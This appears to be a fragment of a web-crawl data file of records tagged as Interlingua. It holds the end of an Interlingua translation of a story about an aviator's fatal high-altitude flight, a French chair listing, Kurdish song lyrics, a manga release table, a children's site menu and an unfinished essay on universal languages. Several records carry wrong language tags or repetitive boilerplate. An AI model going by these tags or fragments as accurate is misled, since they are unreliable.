contineva intra se anque alcun vortices de equal monstruositate. Sin premonition io era subito trahite a in le corde de un tal. Io tornava pro un o duo minutas con tal velocitate que io quasi perdeva mi sensos. Depois io equalmente subito cadeva, con le ala sinistre de fronte, a basso a transverso del infundibulo vacue in su centro. Io precipitava como un rocca circa 300 metros. Solo mi cinctura me reteneva in mi sede, quando e le choc e mi perdita de respiration faceva me pender partialmente foras del cockpit. Ma io pote sempre exequer un effortio extreme -- illo es mi merito le plus grande como aviator. Io comprendeva que le descension ha devenite plus lente, proque le vortice era un cono in loco de un infundibulo e io habeva arrivate a su fin. Con un colpo terrific, premente tote mi peso a un latere, io poneva mi governaculos de inclination a zero e guidava le naso del avion via ab le vento. In un momento io habeva partite del undas surgente e curreva al longe del celo. Depois, tremente ma victoriose, io elevava su naso e recomenciava mi travalio stabile in le spiral ascendente. Io faceva un gyro vaste a fin de eluder le loco de periculo in le vortice e tosto io iva securmente super illo. Subinde post 1 hora io attingeva 6.300 metros super le mar. A mi grande gaudio io habeva venite super le brisa e con cata cento metros de ascension le aere ora deveniva plus tranquille. Del altere parte, il faceva multe frigor e io notava le nausea particular que es causate per le rarefaction del aere. Pro le prime vice io activava mi armatura de oxygeno e inhalava a vices le gas gloriose. Io sentiva como su virtute iva como un elixir per mi arterias e io deveniva exhilarate quasi al nivello de inebriation. Io clamava e cantava quando io volava in alto a in le frigide e tranquille mundo externe.\nPro me il es multo clar que le insensibilitate que subjugava Glaisher e que in un minor grado impediva Coxwell quando illes in 1862 ascendeva in un ballon a un altitude de dece kilometros, era causate per troppo grande velocitate de ascension vertical. Si on in loco face isto a un molle crescita durante le qual on se habitua lentemente al pression barometric diminuente, il non habera tal symptomas atroce. Habente ora attingite iste altitude, io discoperiva que mesmo sin mi armatura de oxygeno io poteva respirar sin incommoditate. Ma il faceva durmente frigido e mi thermometro stava a -18°C. A 1.30 horas io volava a circa 11 kilometros super le terreno, ancora montante continuemente. Io ci experiva que le aere tenue pejo supportava mi alas de sorta que io debeva multo decrescer mi angula de ascension. Io comprendeva que, nonobstante le modeste peso del avion e le grande fortia del motor, il de facto habeva un limite super le qual io non poterea ir. Aggravante le situation, de novo un candela non fungeva ben, causante a vices ignition fallente in le motor. Le pavor pro fiasco deprimeva mi corde.\nA iste tempore io experiva alque extraordinari. Alque me passava sibilante con un stria fumante e explodeva con un forte crac e un grande nube de vapor. Pro un momento io non poteva comprender que cosa habeva occurite, ma io subito me rememorava que le Terra es continuemente bombate per meteores e serea inhabitabile si non quasi omnes ardeva durante lor volos a transverso del atmosphera altissime. Ecce un nove periculo pro visitatores al altitudes superior! Duo tal roccas additional me passava quando io approchava le nivello de 12 kilometros. Io non dubita que al bordo le plus lontan de nostre mundo, ille periculo devenirea multo effective.\nLe agulia de mi altimetro marcava 12.400 metros quando io recognosceva que io non poteva ir plus in alto. Le ordalia non era troppo pro mi corpore, ma mi avion habeva attingite su limite. Le aere attenuite non plus supportava firmemente le alas, le inclination le plus minute causava un glissar al flanco e le governaculos habeva devenite inerte. Si le motor habeva travaliate a su optimo, nos forsan haberea potite scalar ancora 300 metros, ma le ignition ancora remaneva instabile e duo del dece cylindros non functionava. Si io non ora habeva attingite le zona pro le qual io cercava, io lo nunquam viderea durante ille viage. Ma habeva io arrivate in le proprie loco? Glissante in circulos como un falcon monstruose al nivello de 12 kilometros, io lassava le monoplano guidar se mesme dum io scrutinava le area per mi binoculo Mannheim. Le celo era perfectemente clar sin alcun indication de ille periculos le quales io me habeva imaginate.\nIo diceva que io planava in circulos. Subito io comprendeva que il serea melior que io majorarea mi volo a in un nove region aeree. Si un chassator entra in un jungla terrestre, ille besonia ir per multo de illo a fin de trovar su preda. Mi investigationes habeva facite me creder que le jungla aeree hypothetic era locate alicubi super Wiltshire, que debeva extender se a sud e west ab mi actual position. Io usava le sol pro navigation proque le compasso habeva devenite inutile e io videva nihil del Terra -- nihil foras del distante campania argentee de nubes. Comocunque, io calculava le apte direction tanto ben como possibile e me mitteva a un curso directe. Io estimava que le carburante solo sufficerea pro un hora additional, ma io poterea usar tote su guttas proque io tamen poterea retornar quandocunque al terreno per un volo a picco magnific.\nSubito io observava alque nove. Le aere ante me habeva perdite su claritate perfecte. Ibi il ora habeva multe longe velos hispide de alque que io solo pote comparar con multo tenue fumo de cigarrettas. Illos glissava in festones e spirales, tornante lentemente in le luce del sol. Quando le monoplano los penetrava, io sentiva un debile gusto de oleo a mi labios e un tenue spuma adipose se attachava sur le ligno del avion. Alcun infinitemente fin substantia organic pareva levitar suspendite in le atmosphera. Illo mancava de vita, proque illo era troppo diffuse, extendente se sur plure hectares e depois attenuante se a nihil. No, isto non era vita. Ma forsan isto era un residuo de vita? O forsan isto era nutrition pro vita, pro vita monstruose, justo como le adipes del oceanos servi como nutrition pro le balena enorme? Ille pensata sedeva in mi spirito quando mi oculos videva a alto e io spectava le vision le plus belle que un persona jammais ha vidite. Es possibile pro te per medio de mi parolas visualisar isto que io videva le previe jovedi?\nPensa a un medusa, tal que flotta in nostre mares estive, in le forma de un campana e de un grandor immense, plus grande, secundo mi judicamento, que le cupola super le cathedral de St. Paul in London. Su color era rosate pallide con venas de verde molle, ma su substantia era tanto tenue que illo solo era un umbra feeric verso le celo blau obscur. Illo pulsava con un rhythmo delicate e regular. Sub illo duo longe tentaculos verde lentemente oscillava ir e venir. Ille vision phantastic passava cautemente con un dignitate silente super mi capite, tanto leve e fragile como un bulla de sapon, e solemnemente flottava al deriva via ab me.\nIo habeva tornate mi monoplano a fin de observar in plus ille belle esser, quando io subito notava que io volava intra un esquadra de tales de tote magnitudes, ma nulle tanto grande como le prime. Alcunos era parve, ma le majoritate possedeva le grandor de un ballon ordinari e un curvatura identic a lor apices. Intra illos il habeva un delicatessa de textura e coloration que semblava le optime crystallo de Venetia. Pallide tintas de rosate e verde dominava, ma totes possedeva un iridescentia mirific ubi le sol brillava a transverso de lor belle formas. Alcun centos de illos flottava al deriva preter me, un feeric esquadra meraviliose de argosias estranie e incognite del celo -- esseres cuje formas e substantias era tanto aptate a ille pur altitudes que on non poteva imaginar se alque equalmente delicate a distantia visual del terreno.\nMa tosto mi attention era attrahite per un nove phenomeno: le serpentes del aere altissime -- magre buclas phantastic de un substantia que resimilava vapor, volante, tornante e gyrante in un tal grande velocitate que le oculo a pena poteva sequer los. Alcunos de ille esseres spectral era usque novem metros longe, ma il era difficile discerner lor spissor proque lor silhouettes era tanto nebulose que illos pareva rarefacer se a in le aere circum illos. Ille serpentes aeree era gris pallide, le tinta de fuma, con alcun lineas plus obscur intra illos, dante le impression de un organismo integre. Uno iva celeremente preter mi facie e io sentiva un frigide contacto molliate, ma lor composition era tanto insubstantial que io non poteva vider los como un periculo real, equalmente poco como le belle esseres campaniforme que los habeva precedite. Lor corpores possedeva nulle plus de firmessa que le spuma natante super un unda.\nMa un experientia plus terribile tosto venirea. Ab un grande altitude un lilac macula de vapor descendeva contra me. Illo era parve a mi prime observation, ma illo se aggrandiva rapidemente dum illo me approchava usque illo pareva coperir dozenas metros quadrate. Consistente de alcun gelea transparente, illo possedeva un silhouette plus distincte e un composition plus solide que alque que io usque ora habeva vidite. Il habeva anque plus tracias de un organisation corporee, particularmente duo vaste umbrose organos circular a cata flanco, forsan su oculos, e un blanc projection solide inter illos que era tanto curvate e cruel como le becco de un vulture.\nLe aspecto integre de ille monstro era formidabile e menaciante. Illo cambiava color ab un lilac pallide a un pupuree obscur e furiose, tanto spisse que illo umbrava le sol quando illo iva inter mi avion e su disco lucente. Super le curvatura superior de su corpore il habeva tres grande projectiones, le quales io solo pote describer como bullas enorme. Quando io scrutinava io deveniva convincite que illos era inflate per alcun gas extrememente leve que provideva le potentia de elevation a ille massa malformate. Le esser iva facilemente in mesme velocitate como mi avion. Pro 30 kilometros o plus illo constitueva un escorta horribile super me, semblante un ave rapace que attende pro le apte momento de attacco. Illo se propelleva -- tanto rapidemente que illo era difficile a observar -- per projectar un longe viscose serpentino avante; isto depois pareva traher tote le contorquente corpore avante. Le esser era tanto elastic que illo nunquam reteneva un forma fixe durante plus que alcun minutas e cata transformation lo faceva plus menaciante e plus repugnante.\nIo sapeva que illo habeva intentiones malitiose. Cata pulsation purpuree in su corpore repulsive diceva isto. Le vage oculos protuberante, que sempre me reguardava, era frigide e sin mercede. Io abassava le naso del monoplano a fin de escappar lo. In ille momento, rapide como un fulgure, un longe tentaculo se extendeva ab iste massa amorphe e se tressava como un flagello supra le fronte de mi avion. Io audiva un alte sibilation quando illo brevemente toccava le motor calide e postea illo se retraheva a alto dum le corpore se contraheva como si dolor lo habeva pungite. Io piccava, ma itero un tentaculo cadeva super le monoplano. Le propulsor lo trenchava tanto facilemente como illo taliarea un stria de fumo. Alora un longe projection collose me attaccava de retro e se rolava circum mi cinctura, essayante traher me ex le cockpit. Io lo grattava, mi digitos penetrante su superfacie lubric. Pro un momento io me distachava, ma un secunde tentaculo capeva mi bottina e con un colpo quasi torqueva me a basso.\nIo discargava ambe cannones de mi fusil, ben que il semblava que io attaccava un elephante con un pipa de pisos. Nulle arma human poterea vincer super iste esser enorme. Ma un tiro colpava ben. Con un alte crac un del bullas dorsal del esser explodeva -- alcun grosse plumbos habeva perforate lo. Mi supposition era correcte; iste vesicas era plen de alcun gas elevante. Immediatemente le enorme corpore porose se tornava a parte, simultaneemente contorquente se a fin de reganiar su balancia, durante que su becco mordeva in un furia terribile. Jam io habeva comenciate un volo a picco tanto ardue como io osava con le motor marchante al potentia maximal. Le propulsor e le gravitation insimul me tirava a basso como un flecha. Lontan detra me io videva un macula purpuree que diminueva e se univa con le celo blau detra illo.\nIo habeva escappate ex le jungla mortifere del aere altissime. Foras del periculo, io decresceva le gas, proque nihil fracturarea un avion plus rapidemente que un brusc volo a picco a potentia maximal. Io poneva le avion in un descension spiral ab quasi 12 kilometros, primo al campania argentee de nubes, depois per le tempesta sub illo, e finalmente, in un pluvia battente, al superfacie del Terra. Emergente ex le nubes, io videva le Canal de Bristol sub me. Io continuava 30 kilometros al west ante que mi cisterna de carburante deveniva vacue e io debeva atterrar glissante in un campo un kilometro foras del vico Ashcombe. Ibi io obteneva tres bottilias de benzina de un auto passante. A 6.10 horas in le vespere io atterrava mollemente in mi prato de focar apud Devizes, post un tal viage que nulle homine jammais antea habeva complite e supervivite pro contar su conto. Io ha vidite le beltate e io ha vidite le horror in le altitudes superior -- un plus grande beltate e un plus grande horror il non pote haber intra le cognoscentia del homine.\nE ora io va retornar a ibi un altere vice ante que io presentara mi discoperta al mundo. Mi ration es que io certo besonia posseder alque a monstrar como evidentia ante que io divulgara mi narration pro le humanitate. Il es ver que alteres me sequera e confirmara tote lo que io ha contate, ma io in omne caso vole star convincente ab ovo. Iste belle bullas iridescente del aere non debera esser difficile a capturar. Illos glissa lentemente al longe de lor routes e le rapide monoplano dunque los attingera facilemente. Probabilemente, illos dissolvera in le plus dense stratos del atmosphera e forsan io solo apportara alcun grumos de geleas amorphe al terreno. Ma isto ancora sera alque que confirmara mi narration. Si, io va ir, ben que ille acto apportara un risco. Il non pote haber numerose horrores purpuree. Probabilemente io non videra un tal. Si io videra uno, io immediatemente piccara. In le pessime caso, io ha mi fusil de chassa e mi cognoscentia de...\"\nHic un folio del manuscripto es regrettabilemente perdite. In le proxime pagina on lege in grande disordinate scriptura: \"13 kilometros. Io nunquam revidera terreno. Illos es sub me, il ha tres. Que Deo me adjuta -- il sera un morte terribile!\"\nIllo es le conto de Joyce-Armstrong. On non ha vidite le viro post su partita final. Pecias de su monoplano frangite ha essite recolligite in le proprietate de sr. Budd-Lushington al limite inter Kent e Sussex, alcun kilometros ab le loco in le qual le agenda era trovate. Si le theoria del aviator infortunate es correcte, il es que iste jungla aeree como ille lo appellava, existe solo super le sud-west de Anglaterra, il sembla que ille fugiva ex illo a velocitate maximal, ma que iste esseres le attingeva e devorava a alcun loco in le atmosphera altissime super le position in le qual le remanentias era trovate. Le vision de iste monoplano currente a basso sur le celo, con le terrores innominate volante equalmente rapidemente sub illo e dunque isolante lo ab le terreno, es un pensata sur le qual un homine qui apprecia su sanitate mental non vole meditar. Il ha multes, io sape, qui ancora ridiculisa le factos que io ha presentate hic, ma etiam illes debe admitter que Joyce- Armstrong ha disparite, e io recommenda que illes lege su proprie parolas: \"...ille agenda potera explicar lo que io ha volite facer e como io perdeva facente lo. Ma nulle galimatias de accidentes o mysterios, per favor.\"","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/wikisource.org\/wiki\/Le_Horror_Altissime","date":"2020-01-26T21:45:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251690379.95\/warc\/CC-MAIN-20200126195918-20200126225918-00369.warc.gz","language":"ina","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"ina_Latn_score\": 0.9999973773956299}","num_words":7539,"character_repetition_ratio":0.028,"word_repetition_ratio":0.005,"special_characters_ratio":0.192,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":928.6,"cluster_detection":-1} +{"text":"Lot de 2 chaises alu pliantes Brevia AnthraciteLot de 2 chaises alu pliantes Brevia AnthraciteLot de 2 chaises alu pliantes Brevia ArdoiseLot de 2 chaises alu pliantes Brevia Gris clairLot de 2 chaises alu pliantes Brevia TaupeLot de 2 chaises alu pliantes Brevia Anthracite Salon deLot de 2 chaises alu pliantes Brevia Gris clairLot de 2 chaises de jardin pliantes Modula Anthracite chinéGraphiteChaise de jardin alu pliante Essentia AnthraciteGrisLot de 2 chaises de jardin pliantes Modula Anthracite chinéGraphite","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.cafephiloautrement.fr\/452-lot-de-2-chaises-de-jardin-pliantes-modula-anthracite-chin%C3%A9graphite-5051.html","date":"2020-05-28T21:24:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347400101.39\/warc\/CC-MAIN-20200528201823-20200528231823-00252.warc.gz","language":"ina","language_score":0.5885788202,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5885788202285767, \"ast_Latn_score\": 0.08429612219333649, \"fra_Latn_score\": 0.06430406123399734, \"por_Latn_score\": 0.02322441153228283, \"nrm_Latn_score\": 0.018329298123717308, \"ron_Latn_score\": 0.018109982833266258, \"frp_Latn_score\": 0.014291091822087765, \"zab_Latn_score\": 0.011456508189439774, \"lfn_Latn_score\": 0.011365396901965141, \"glg_Latn_score\": 0.010295696556568146}","num_words":152,"character_repetition_ratio":0.235,"word_repetition_ratio":0.524,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.714,"perplexity_score":16406.8,"cluster_detection":-1} +{"text":"Burhan Toprak - Sıltane Sözleri\nAy Le Le Le Le Le Le Le Le Le Le Le Le le Le\nLe tevle gidye sıltane. Ru deke bı ru nişane\n.Kuçke mere te pise tev dehşike bı du garane\nAy Le Le Le Le Le Le Le Le Le Le Le Le Le canu ceger\nsıltane. Ru deke bı ru nişane kuçke merete pise dehşike du garane.\nSewle gidye sıltıko\nAva Kanye henıko.\nHele\nMevija be dendiko.\nXwede ve rızke mı mıdo.\nAy Le Le Le Le Le Le Le Le Le Le Le Le Le le Le\nCanu ceger sıltane...\nTürkiyenin En Büyük Müzik Portalı\n© 2020 muzikmp3indir.com","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/muzikmp3indir.com\/burhan-toprak-siltane-muzik-mp3-indir-85875","date":"2020-06-06T04:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348509972.80\/warc\/CC-MAIN-20200606031557-20200606061557-00596.warc.gz","language":"ina","language_score":0.8759909272,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.8759909272193909, \"fra_Latn_score\": 0.02857520617544651, \"diq_Latn_score\": 0.020302388817071915, \"hat_Latn_score\": 0.017155788838863373, \"nap_Latn_score\": 0.012477465905249119, \"kiu_Latn_score\": 0.012268425896763802}","num_words":192,"character_repetition_ratio":0.254,"word_repetition_ratio":0.115,"special_characters_ratio":0.277,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.612,"perplexity_score":9958.6,"cluster_detection":-1} +{"text":"|sorti le 04\/10\/04||sorti le 27\/12\/04||sorti le 04\/03\/05||sorti le 02\/05\/05||sorti le 04\/07\/05||sorti le 02\/09\/05|\n|sorti le 02\/12\/05||sorti le 03\/02\/06||sorti le 04\/04\/06||sorti le 02\/06\/06||sorti le 04\/08\/06||sorti le 04\/10\/06|\n|sorti le 04\/01\/07||sorti le 02\/03\/07||sorti le 02\/05\/07||sorti le 03\/08\/07||sorti le 02\/11\/07||sorti le 04\/02\/08|\n|sorti le 04\/04\/08||sorti le 04\/06\/08||sorti le 04\/09\/08||sorti le 04\/11\/08||sorti le 04\/02\/09||sorti le 03\/04\/09|\n|sorti le 03\/07\/09||sorti le 02\/10\/09||sorti le 04\/12\/09||sorti le 04\/03\/10||sorti le 30\/04\/10||sorti le 04\/08\/10|\n|sorti le 04\/10\/10||sorti le 03\/12\/10||sorti le 04\/03\/11||sorti le 02\/05\/11||sorti le 04\/08\/11||sorti le 04\/10\/11|\n|sorti le 04\/01\/12||sorti le 04\/04\/12||sorti le 04\/06\/12||sorti le 04\/09\/12||sorti le 04\/12\/12||sorti le 04\/03\/13|\n|Couvertures japonaises des 42 volumes parus chez Shueisha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.mangaverse.net\/html\/reborncouvjap.htm","date":"2020-09-26T18:56:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00086.warc.gz","language":"ina","language_score":0.356803,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3568029999732971, \"ron_Latn_score\": 0.2412349134683609, \"fra_Latn_score\": 0.1964370459318161, \"und_Grek_score\": 0.1369786113500595, \"crs_Latn_score\": 0.013390024192631245}","num_words":235,"character_repetition_ratio":0.32,"word_repetition_ratio":0.894,"special_characters_ratio":0.598,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.352,"perplexity_score":3064.9,"cluster_detection":-1} +{"text":"Dauphin\nLe Spectacle de Dauphin 8 Le Spectacle de Dauphin 7 Le Spectacle de Dauphin 6 Le Spectacle de Dauphin 5 Le Spectacle de Dauphin 4 Le Spectacle de Dauphin 3 Le Spectacle de Dauphin 2 Le Spectacle de Dauphin 1 Habille ton dauphin ! Le jeu des différences Winter le Dauphin Le labyrinthe Winter le Dauphin Le memory Winter Le Dauphin Dauphin et son bouquet Tenue de Dauphin","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/fr.hellokids.com\/t_671\/dauphin?rub=19","date":"2021-12-04T20:03:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363006.60\/warc\/CC-MAIN-20211204185021-20211204215021-00169.warc.gz","language":"ina","language_score":0.7670357823,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"ina_Latn_score\": 0.7670357823371887, \"fra_Latn_score\": 0.1538197547197342, \"nrm_Latn_score\": 0.0655241310596466}","num_words":125,"character_repetition_ratio":0.341,"word_repetition_ratio":0.466,"special_characters_ratio":0.204,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.673,"perplexity_score":15442.5,"cluster_detection":-1} +{"text":"Civilisation e lingua universal\/Prime Parte\/Capitulo 1\n|←PROLOGO e PREFACIO DEL EDITOR||Civilisation e lingua universal\n\n\nby\n|Cap. 2: Lingua universal: natural o artificial→|\nPRIME PARTE: INTRODUCTION AL STUDIO HISTORIC DEL LINGUA UNIVERSAL[edit]\nI. VISION HISTORIC DEL LINGUA UNIVERSAL[edit]\nLe lingua universal es parte organic del plus grande civilisationes historic.\nLe vision historic es sovente le clave al solution de un problema. Le experientia demonstra que, quando nos cognosce le historia del tentativas, nos ha un guida efficace pro le solution de un problema. Dunque nos ha interesse a studiar le historia del passato pro discoperir, pro trovar experientias usabile tamben pro nostre problema actual. Question pro nos es: Pote le studio del historia dar nos tamben un guida efficace pro le solution del problema 'Lingua Universal'? Certo! Le studio approfundite del historia del grande civilisationes antique da nos un responsa clar e positive: Le lingua universal presenta se como parte organic inevitabile del plus grande civilisationes historic. Nostre deber e le scopo de este presente labor es demonstrar este factos historic.\nNos incontra sovente le prejudicio, que le humanitat era sempre e va esser sempre divise per barrieras lingual. Este prejudicio eveni del ignorantia historic. Al contrario, le studio approfundite revela, que le populos historic era sempre in contacto a traverso le barrieras lingual per medio del trafico. Facto es que jam le populos primitive, parlante linguas diverse, era in contacto, e que per este contactos formava se mixturas lingual. Effectivemente le linguas antique era linguas mixte.\nLe linguas del mesme civilisation consiste in elementos de due species distincte: primo le parolas e structuras que se trova in un sol lingua (le elementos 'esoteric' = secrete), specific de este lingua, incomprensibile al estranieros; e secundo, le parolas e structuras que se trova in plure o omne linguas (elementos commun, comprensibile al estranieros. - Le proportion inter esoteric e commun depende del intensitate del traffico con estranieros: Quanto plus intensive es le traffico, tanto plus numerose son le elementos commun. Dunque le populo qui ha le traffico le plus intensive con estranieros, developpa un lingua, in le qual le elementos commun es le plus grande inter omne linguas del epoca. Le historia demonstra que certe populos multo dinamic, trafficante multo con estranieros, inricchiva lor linguas tanto con elementos commun e reimplaciava lor elementos specific (esoteric) con elementos commun, que lor linguas poteva servir pro le comprension facile, quasi sufficiente con estranieros, poteva servir como pontes lingual, como 'lingua ponte'.\nDe facto, in succession continue, le linguas akkadian, aramaic, greco e grecolatin, serviva como superlingua, lingua ponte, inter populos parlante linguas diverse.\nLingua franca[edit]\nOra, con estranieros on cerca parlar in modo le plus simple possibile. In consequentia le linguas que servi como lingua ponte, veni sensibilemente simplificate. In scientia linguistic on parla de 'lingua franca', quo significa: lingua quasi sin grammatica. Tal lingua franca, in initio excessivemente primitive, lingua del commerciantes migrante ultra le frontieras, developpava se. In tempores de pace durabile e de contactos cultural inter le populos parlante linguas diverse, le lingua franc deveni ric e capabile a exprimer materias e ideas de omne genere. Pois, quando le grande imperios del antiquitate habeva unite omne populos civilisate in un stato universal, le autoritates videva interesse in usar le lingua franc tamben in le armea, in le administration, jurisdiction pro le populos parlante linguas diverse, ma comprendentele lingua franc. In plus le lingua franc deveniva tamben lingua del scientia e del literatura, - lingua de omne personas, qui sub le mesme domination participava al mesme cultura commun.\nTal developpamento repeteva se desde le aurora del civilisation, successivemente in le Imperios Sumerio-Akkadian, Medo-Persian, de Alexandro e de Roma. Le humanitate ha sempre superate le barrieras lingual, e le plus grande civilisationes formava lor linguas universal. Assì nostre ancestres ha trovate le solution del problema del lingua universal ja quatro veces durante le ultime quatro mille annos: Le lingua franc del epoca, le lingua del parolas commun, deveni lingua del stato universal e de facto lingua universal.\nCiclo del lingua universal[edit]\nOra, si nos considera este fenomeno ciclic in le historia quatro-millenari del lingua universal, e vide, como tamben nostre linguas se developpa, nos arriva a recognoscer que le movemento ciclic lingual continua in nostre dies, e in qual fase nos sta: Le plure mille parolas commun in le linguas moderne son quasi elementos commun de un lingua ponte 'in stato de nascentia', ex le qual va developpar se le futur lingua universal del civilisation moderne. Previdente tal developpamento le autor permitte se, scriber este studio - tentativemente e in modo exemplar - in un lingua franc del parolas plus-minus universalmente commun in le moderne linguas decultura.\nAnte continuar a persequer le grande linea de nostre essayo, il sembla utile necesse examinar particularmente certe notiones e expressiones, que sta como elementos fundamental in le construction e concretisation de nostre vision.\nQue es cultura? - Qual cosa es civilisation?[edit]\nCULTURA es le nomine collective de omne activitates human que crea valores social, como lingua, religion, agricultura, economia, tecnica, arte, architectura, literatura, scientia, filosofia etc. Este valores son transmisse de un generation al altere per medio de tradition et education.\nCIVILISATION es un specie de cultura. Civilisation existe durante un epoca particular e crea un societat organisate e consolidate, in le qual omne participantes pote viver unite, como membros de un grande communitate.\nCon certe approximation on pote dicer, que civilisation es le infrastructura, preponderante material, del societat; e cultura es le superstructura preponderantemente spiritual del societate. Civilisation es le minime unitate in studio historico-cultural, a qual nos arriva, quando nos cerca comprender le historia cultural de un pais. Si per exemplo, nos vole comprender le historia del USA, del Statos Unite de America, nos non va comprender le origine del cultura e del institutiones american, como governamento federal e representative, democratia, industrialismo, monogamia, cristianismo etc. Pro comprender nos debe reguardar ultra le frontieras del USA, verso Europa e tamben ultra le presente: in le passato historic de West-Europa, in le seculo ante que Columbo habeva transversate le Atlantico. Totevia, pro facer comprensibile le historia cultual e le institutiones american, non es necesse reguardar in le spatio ultra West-Europa (verso le Oriente) e tampoco in le tempore ante le origine del civilisation grecoroman. Este limites de spatio e de tempore defini un grande unitat, un grande societate, in le qual participa le Statos Unite, le Grande Britannia, Canada, Australia, Espania, Portugal, Finlandia, Checoslovakia, Polonia, Germania, Hollanda, Belgio, Danmark, Svedia, Norvega, Hungaria, Rumania. Nos pote nominar estesocietat: le Civilisation Cristian-Occidental.\nIn modo analoge,si nos commencia con Russia, Grecia e Yugoslavia, Bulgaria, e nos cerca comprender lor historia cultural e institutional, nos arriva al civilisation Cristian Ortodoxe.\nAnalogicamente, si nos comencia con Marocco, Algeria, Egypto moderne, Syria, Irak, Pakistan e Afganistan, e nos cerca comprender lor historia e le institutiones, nos arriva al civilisation islamic. - Comenciante con India o Ceylon, nos arriva al civilisation Hindu. Commenciante con China, Japon o Corea, nos arriva al civilisation Extrem ORIENTE.\nUn civilisation irradia ultra le frontieras de un stato o nation, dunque non es limitate a un stato o nation, ma include plure communitates national, que possede un tresor de tradition commun. Pro le studio culturhistoric, le limites geografic, historic e cultural de un pais es troppo restricte. Le minime Unitat in un tal studio es le quadro e terreno de un civilisation.\nUn civilisation include plure communnitates national, le quales possede lor tresor de tradition commun in lor aspectos essential. Le civilisation es plus antique que le statos appertinente al commun civilisation. Le civilisation occidental existe desde mille trescento annos, contra que le regnos de Anglaterra o de Hungaria existe desde mille annos - e le Statos Unite de America desde minus que duo cento annos. Le statos ha un vita relativemente breve, contra que le civilisationes ha un vita relativemente longe. Le civilisation occidental ha viste le disparition del Monarchia Austro-Hungarian e va vider ancora le disparition de altere statos.\nDunque nos recipe un melior vision del historia, si nos studia civilitiones vice statos.\nLe SOCIETAT es un COMMUNITAT organisate de personas qui apprende laborar unite. Le COMMUNITAT es un gruppo de personas non necessarimente organisate, ma unite per le voluntate e capacitate pro conviver e collaborar. Nos cognosce societates non civilisate e societates civilisate. Un specie particular de societate es le ECCLESIA - multo importante, como nos va vider - pro le lingua universal. Quo es Ecclesia? Pro comprender nos debe saper que civilisationes son fenomenos ciclic, que veni e va via, fenomenos que emerge e dispare. Le alternante ascension e declino de civilisationes servi al emergentia e crescentia del religion, como nos va explicar in le quarte parte de nostre studio. Hic in breve: Collapso e disintegration de civilisationes es stimulo que produce plus alte intuitiones in religion. Assi, un del plus profunde leges del vita spiritual es le facto, que per suffrentia nos apprende. Le Ecclesia cristian nasce ex le travalio spiritual causate per le collapso del civilisation grecoroman. Cristianismo ha radices judaic e zoroastrian. Judaismo e zoroastrismo nasce ex le collapso del civilisations syrio-aramaic, como nos va vider in le secunde parte de nostre studio. (Le regnos de Juda e de Israel era duo del numerose statos del civilisation syrio-aramaic). Le prematur extinction del statos Juda e de Israel, e le disparition del sperantia pro un nove independentia politic, faceva nascer le religion del Judaismo. Judaismo habe su radices in le Mosaismo, que eveni ex le collapso del antique civilisation egyptian. Le precursor de Moses es Abraham, qui recipe su illumination in le seculos dece-none ante Cristo per le collapso del Stato Universal de Sumer e Akkad, vehiculo del plus antique civilisation cognite.\nCIVILISATIONES son fenomenos ciclic que ascende e declina. Al contrario: le religiones superior, como nos va vider, non es ciclic, ma linear, in tanto que le religiones subsequente representa un sempre plus alte nivello de intuition, de intellection e de developpamento spiritual.\nLe ECCLESIA es un societat adherente a un religion superior.\nUn religion superior es basate super un fide destinate a portar le homine in spiritual communion directe e individual con un mundo metafisic, con un ESSER plus alte del homine (transhuman) creator del homine. Dunque ecclesia es le vehiculo institutional del contento spiritual, del contento spiritual de un religion superior, in tanto que institutiones es psichic relationes organisate e formalisate inter un grande numero de individuos.\nLe plus cognite INSTITUTIONES es: totem, tabu, matrimonio, societat, nation, stato, rito, religion e LINGUA. Civilisation e ecclesia es portate per le rete del societate.\nSocietate, civilisation e ecclesia son inseparabile. Omne rete social es vehiculo de cultura e lingua. Il es impossibile studiar un linqua efficacemente sin studiar le cultura, le societate, le civilisation e le ecclesia conjuncte con le lingua.\nLe essentia del LINGUA UNIVERSAL[edit]\nQue es Lingua Universal?\nLingua universal es un specie superior de lingua, parlate per omne homines participante in un civilisation o un ecclesia.\nLe lingua universal es producto tipic del civilisation. Durante que le origine del lingua es anterior al civilisation, le lingua universal nasce in le civilisation. Per exemplo, le latino es cognite como lingua universal del mundo civilisate durante multe seculos del passato. Totevia, nos non pote comprender le essentia e le rolo del lingua universal, si nos limita nostre studio al latino, proque le historia del lingua es incomprensibile sin lingua universal anterior: le greco.\nE tamben le developpamento del greco es inexplicabile sin tener conto del influentia del mundo oriental, le qual parlava un lingua universal anterior al greco: le aramaico. E le aramaico es solmente un secunde edition aggrandite e meliorate de un lingua universal anterior al aramaico: del akkadiano. Assì, pro comprender le essentia del lingua universal, nos debe extender nostre studio al minus quatro mille annos del passato. Nos va tractar le historic linguas universal specialmente in le tertie parte del studio: \"Lingua, lingua franc, lingua universal\".\nIn nostre epoca nos non possede un lingua universal usate como le quatro linguas universal historic. Totevia, jam existe un commun lingua latente inter omne participantes del cultura occidental - que es ora jam diffuse in le tote mundo. Le lingua latente 